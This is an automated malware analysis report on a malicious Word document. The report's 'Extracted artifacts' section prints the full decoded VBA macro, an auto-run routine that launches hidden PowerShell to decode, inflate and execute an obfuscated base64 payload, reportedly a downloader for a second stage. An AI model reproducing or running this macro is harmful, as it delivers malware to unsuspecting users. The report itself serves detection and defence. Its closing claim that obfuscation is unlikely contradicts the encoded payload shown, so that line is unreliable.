Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 744c4cea76cb147a…

MALICIOUS

Office (OOXML)

18.0 KB Created: 2021-05-14 15:01:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-26
MD5: 560d7f3d1c6373e15065e3c3479aff46 SHA-1: 8cfbb89436013c1f812d02381274701b33c7bb78 SHA-256: 744c4cea76cb147acfa252d4622f8564318a2e88a04d089923c992dc6b580aa8
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a Workbook_Open macro that concatenates several strings to form a PowerShell command. This command is designed to download and execute a second-stage payload from a remote source. The ClamAV detection 'Doc.Downloader.Pwshell-10001336-0' further confirms the malicious nature of this document downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell (exec)
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    exec = "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Command ""Invoke-"
exec = exec + "Expression $(New-Object IO.StreamReader ($(New-O"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub Workbook_Open()
Dim str As String
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2476 bytes
SHA-256: 3b9a828d0d84b8e8bc42c638fd8240ecd1a3be1fc76e29885b037bde603cbcf1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub Workbook_Open()
Dim str As String
Dim exec As String

str = "zVZNb+M2EL3rVxCGgEhrSaBsJ3AiGNhkU2+Ddt1g7d0eBB8UaWyzoU"
str = str + "mBpBIrqf97R7H8ISddBHsoCh0oD9/MPM08Dm2nZEA+tqz4mv"
str = str + "ObZS6VcVr3oATwbifIOG+5U5IXd5ylRJvE4AIrg/vkRphbo8"
str = str + "h3pkyR8EvOZerUtkePFEwYsqrXsl6f3Oin83xSkBiYLHDJtn"
str = str + "mKOu6DR/aZ67eD3LWlyt76aMVXpYF4OrVHk9uJSoReMjPwwg"
str = str + "+9fnRoiul0QFfhVbTDa0ilyI5dmtadly3kZZqC1gN7lnAN0U"
str = str + "SVz/ZYpvdgBiN49P+4+wtSQ0Zggo1V16sTH9ous0xhlGGyZL"
str = str + "ycXlzgt4BCwKNU91782ntS5oCw67lKls39WyWNTCWvEd+y3I"
str = str + "1qQsEnKQSycU4KHeRS8kCYPJBqfuKFna4bxd8ly6Zb8BhE5h"
str = str + "yW6hjwFVJgD9DErNPEpIvng7oYVcA6slUhJtIkfECjoVS/JO"
str = str + "nCsW9EBivCBGl0pEeDoNedus97n93bh87pWXvjhzFnTGkzYU"
str = str + "sYOAe1vq4EhEYnPKfUC/GhL0+83fiNiawqjUldt6r8F8Y52z"
str = str + "RYO/E3rP1Zb+rsc4aUUkSOXxDR2CTK+GMOkBNfk5Bueo4Eqr"
str = str + "r8j5peM3pn17foTdubcn8F2rX+GLdPyqUG52flcHTa3qsIi8"
str = str + "2I899JgfhkL0HizwHFQHypyO5zXfJsmUodGqfvAa9xqQ0sg9"
str = str + "ctJk78xt4PhULe8mgIZmxwmi7fBh4pZ5LmrmXrvWbC804Qnv"
str = str + "WDMOh0zk880qd96pK/iSyMLwrOI2Ln+G3xpVJJRW0zv28EDn"
str = str + "eRgtO6w6na8kjPReAKgRh7J578KNAT7lPLLt8RL75iBjk+gM"
str = str + "JKVLwl1qTbwZgeddunVbYSh3QVcHU1tB4XjANxMIPPzY+dsW"
str = str + "UVk3aTaunZT+1T1M+/F3vIk7nGaCMpwCVra4ZCcGw2CJELw7"
str = str + "xAetVbu40ZkJzNKnbbcEeMPoOpriOUIN5teCUFvyYi4+Cilx"
str = str + "9O15Zt0BdV4VdtI/4SlnegrmHGBDNM4gFKiT9KUJStP5nodl"
str = str + "rEF/hL50kK5MUyLERaITXx80Rrs1BF1SA8nhcXjaueenYZ/A"
str = str + "5ibhYeXXVR/rj0qGttmX8thEH5By+alPkY1AND6QdfEqUXCa"
str = str + "9aKPOyqiCh2LfNJY1HahVsy+66HtklQfWZbdfrfwHVgbVXm5"
str = str + "PbVExjFNdnsn/Wo7QeO+u19Q8="

exec = "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Command ""Invoke-"
exec = exec + "Expression $(New-Object IO.StreamReader ($(New-O"
exec = exec + "bject IO.Compression.DeflateStream ($(New-Object"
exec = exec + " IO.MemoryStream (,$([Convert]::FromBase64String"
exec = exec + "(\"" " & str & " \"" )))), [IO.Compression.Compr"
exec = exec + "essionMode]::Decompress)), [Text.Encoding]::ASCI"
exec = exec + "I)).ReadToEnd();"""

Shell (exec)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: d829dc41ee16e1961f3ea01d8312bf65afbf35b7007d18bb85b6896819cb8b55
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: unlikely

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